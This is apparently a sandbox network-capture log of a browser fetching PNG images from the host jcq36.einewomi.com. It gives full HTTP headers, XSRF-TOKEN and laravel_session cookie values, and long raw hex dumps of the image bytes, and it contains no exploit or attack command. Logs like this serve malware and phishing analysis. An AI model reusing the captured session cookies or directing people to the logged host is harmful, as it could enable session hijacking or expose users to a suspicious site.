2024-04-24 21:08:07 UTC	670	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:07 GMT Content-Type: image/png Content-Length: 49602 Connection: close Content-Disposition: inline; filename="ghdwLwhtUo6JsNMGaykPpPmURTIsJDWlY9ZJvklNhTvmC6ukVYDmzvSTvxthORbvG7OuyBvef210" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Mvk12ySbxr0MMVdyR9l2l9%2B0DtYuoyo9TLcvCOXGU7kz6efc1JwlCywHB6IcXu9d71dQc7Kb5BFhVPemJm3Hq82W0qaGB%2FJ9F31n6O3jYOrT%2FhFdNwpOo5FiT0Jhag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879911193d1b7c2f-LAX
2024-04-24 21:08:07 UTC	699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 c6 c7 0d ee e7 df Data Ascii: PNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 7b 01 f8 3d 70 2d 70 3d 6e b9 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 cf 02 73 ad d2 d4 63 c0 b9 a4 46 80 41 8b 3c 7a 2a 8b 51 c0 61 c0 15 c0 2b c4 9f 3f d6 fc ba 1b 38 1c 58 6e 91 47 4f 92 24 49 92 24 49 92 24 49 92 82 2c 4f 9a 6c be 81 b4 f5 40 f4 04 ab b5 f8 7a 1e b8 0c d8 8f b4 52 8a ca 61 24 e9 3a ba 1a 98 49 fc 79 62 2d be a6 92 1a 6c f6 c0 95 9e 24 49 92 24 49 92 Data Ascii: {=p-p=n"I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZgscFA<zQa+?8XnGO$I$I$I,Ol@zRa$:Iyb-l$I$I
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 49 92 24 49 92 24 49 92 a0 fa 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 49 92 24 75 97 2a 35 70 1c 05 9c 1b 1d 42 92 54 7b 4f 03 bb 02 8f 45 07 91 24 49 92 24 49 92 24 49 52 f7 a8 4a 03 c7 11 c0 79 54 27 af 24 a9 da 9e 20 35 71 8c 0b ce 21 49 92 24 49 92 24 49 92 a4 2e 51 85 86 88 f7 00 57 00 bd d1 41 24 49 5d e5 31 e0 3f 80 e7 a3 83 48 92 24 49 92 24 49 92 24 a9 fe ca de Data Ascii: I$I$IgPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$I$u*5pBT{OE$I$I$IRJyT'$ 5q!I$I$I.QWA$I]1?H$I$I$
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 03 af 5f ba c3 a2 12 1b 01 5c 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 d8 2d cf 90 a9 02 7a 81 f7 00 0f 12 7f ee 55 a9 66 00 df 03 56 6f 7e c8 55 51 03 81 33 89 3f f7 3a 55 fb e6 19 36 49 92 24 49 92 24 49 92 24 29 af 43 89 9f 4c eb 44 dd 85 2b 09 74 a3 cd 81 a7 89 3f ff aa 50 73 80 2b 80 8d 5a 1a 69 d5 c1 01 c0 4b c4 9f 8b 45 d7 d3 c0 88 4c 63 26 49 92 24 49 92 24 49 92 Data Ascii: _\@9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z-zUfVo~UQ3?:U6I$I$I$)CLD+t?Ps+ZiKELc&I$I$I
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 5a cb 92 1a 76 a2 cf bb a8 9a 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 f8 f3 2d aa be 4d ba 66 a5 ba fb 25 f1 d7 5b bb f5 a5 ec a3 22 49 92 24 49 92 24 49 92 a4 5a db 8b f8 49 ae 76 eb ca ec a3 a2 b2 7a 3b 30 8b f8 73 ae d3 35 0b 38 2a c3 f8 49 55 b1 3e 69 15 8b e8 6b af 9d fa 67 f6 51 91 24 49 92 24 49 92 24 49 52 ad fd 88 f8 49 ae 76 6a 06 b0 51 f6 51 51 19 6d 0b 4c 26 Data Ascii: Zv(Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}-Mf%["I$I$IZIvz;0s58*IU>ikgQ$I$I$IRIvjQQQmL&
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 92 a4 6e 72 10 f1 f7 e2 5c 75 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f bf 3a 51 53 80 3d f3 0c 9b d4 b5 ae 24 fe 5a 6e b5 76 2f 60 3c a4 32 d8 16 b8 18 78 95 f8 eb cc 6a be 5e 06 fe 07 d8 6a e1 03 2b 49 1d 74 0b f1 5f 0f ad 7a d5 34 e0 f7 c0 67 80 8d 90 24 a9 7e fe 4d fc fd 36 67 2d 97 77 78 a4 d7 38 8d f8 f3 3c 67 7d 28 eb e8 48 0a 33 14 98 4c fc 17 95 56 ea be 02 c6 43 Data Ascii: nr\uF3j? !5qIIr}u~RfR/T*+GPf7;a~=IZHToWUf?mH"JSx?:QS=$Znv/`<2xj^j+It_z4g$~M6g-wx8<g}(H3LVC
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 6f e0 ef c0 59 c0 0a c1 59 24 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 74 10 49 92 3a 60 55 e0 17 c0 ff c3 ef fb 25 49 92 24 a9 6b f5 d7 c0 51 c5 a7 dc 6e 06 26 47 87 50 5b ce 24 ed 01 5b 47 d3 81 77 01 ff 88 0e 22 e9 ff 5c 13 1d a0 45 55 6c b2 54 f9 f5 90 56 c0 ba 99 d4 28 24 95 c9 10 e0 5c e0 c7 c0 b0 e0 2c 92 24 75 c2 fb 80 07 80 43 a2 83 48 92 24 49 92 3a af 2e 2b 70 Data Ascii: oYY$I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwTtI:`U%I$kQn&GP[$[Gw"\EUlTV($\,$uCH$I:.+p
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 05 18 a9 6e aa 76 4f d9 30 3a 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e d4 01 55 7b 5a ba db ac 08 7c 2d 3a 44 66 8f 02 9f 8a 0e 21 a9 10 55 bc a7 ac 46 f5 1a 4f 94 cf 36 c0 2f e9 bf 43 57 52 ff d6 06 7e 4e fa 01 69 56 70 16 49 92 3a 69 20 f0 33 52 03 f0 9f 83 b3 48 92 24 49 52 94 cb 80 c7 fb f9 fd ad 81 8d fb fc fa 71 e0 9e 7e fe de 5d 4d fc 5f cb 93 9a 38 be dd cf 9f 1d Data Ascii: nvO0:JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VNU{Z\|-:Df!UFO6/CWR~NiVpI:i 3RH$IRq~]M_8
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 25 bd c8 1d 7d 5e e4 aa f7 e5 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 3f 7f e7 e5 be 7f a7 97 ea 2d c1 3e 31 3a 80 16 70 06 d0 1b 1d 22 93 df 90 9e ce 95 5a b5 07 a9 c9 ec 24 96 3c 61 f8 01 e0 16 60 95 a2 43 69 a9 55 f1 fe 52 b5 55 b4 b4 74 be 0a 6c 17 1d a2 a2 26 01 e7 02 9b 03 bb 90 9a e5 ea be 4a cd 4c e0 2a 60 7f d2 53 cb 5f 04 1e 09 4d 54 6d 5f 25 4d 18 4a 92 e2 bd Data Ascii: %}^ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W?->1:p"Z$<a`CiURUtl&JL*`S_MTm_%MJ
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 8b b6 0b 70 60 74 08 49 92 24 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 aa dd c3 35 df 3e c0 be d1 21 4a e6 3b a4 31 79 31 3a 88 38 9b b4 7d cd 0b d1 41 4a e4 84 e8 00 92 a4 c2 fd 9a d4 48 7a 73 70 8e b2 5a 1f 38 2a 3a 84 24 49 92 24 d5 9d 0d 1c 5a 1a 3d c0 49 d1 21 32 39 0a 98 16 1d 42 a5 d1 03 1c 0e 3c 08 1c 12 9c a5 af 0d 80 0f 46 87 e8 52 55 5b 81 a3 6a f7 70 25 3d c0 d7 a2 43 94 c8 2c d2 Data Ascii: p`tI$I-%>o\|lHX_eXWT5ajAgI=:H\|L6!ID79Y$IFPqGoFP.6j5>!J;1y1:8}AJHzspZ8:$I$Z=I!29B<FRU[jp%=C,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49795	172.67.137.23	443	4668	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 21:08:07 UTC	1148	OUT	GET /uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253 HTTP/1.1 Host: jcq36.einewomi.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjR3Vkk0eEgxUXNSOVp0OWxPNEI3Nmc9PSIsInZhbHVlIjoiTVU3SlF3emh4NjlrK09IQnFSNllPazhNdFUrMnkxcGhmeGxQRXN0aU5rTWpCcTNxeEUyTjRqRzVycjlFbGl1VkdDa3FSMk9NTUMwdzFaQURXRS9KL3N6TDF6THNqUUVVNkVJSzFlckJNbG42TkE3VzlzRlJiWllxdEY5MnhCMzQiLCJtYWMiOiI5MmFkNTcwMWI0NGUwYzA5MGIwZTcxOTMwOTg5MzcyMDAxYjYyNDMyMTIxMjEwM2EzMzVmMmY5YWIzNjE0ZmU5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImdtZWFYb0tTM0pGVEY5YTN2WlpxTkE9PSIsInZhbHVlIjoiTjJ6UktYMFNPUGR0WlBhYXdxQW52eDIyM0grQWVwcy85VnQyZGFSNU5MNGpBQ2tORzNwcVF5UFl5czhTMHpXdzZ3K25IY1hQUkY1MEMwVitOZ2xlNjlZV3NoWEFOcUdRV3JRRkt1SVFXY1VFQm9jL21EcXBMOXpRQksybXdUd08iLCJtYWMiOiJjOWE1MWUwNjU1MjZjNDA0NDQwZWU4ODYyMGM0MGY0ZDUzNmNiNGMyYzA3NTQ4ZDEzMWFiMDM5NjBkZjBhNTQ0IiwidGFnIjoiIn0%3D
2024-04-24 21:08:07 UTC	677	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 21:08:07 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="uve2MfajydXQgpw6QNYt2YCKmeylMRnRO1pnOJW67Vr4A1GFFdFd4qCsqWQNd7ULnGol1RNAD28kYNgh253" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WGaEaYnBz%2F%2FmbMOHO5t2jLV1fID3hvPw9HYyIlZaAKYRMdt1ulSOcQV9Xqfn1A7cDoEHD%2B6wjaQjrpr9ZtXAId1uBZMsDiAN4pU20uZ2t7bEgts4TQceFcK6K5ZIKA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8799111ab8c91030-LAX
2024-04-24 21:08:07 UTC	692	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-04-24 21:08:07 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
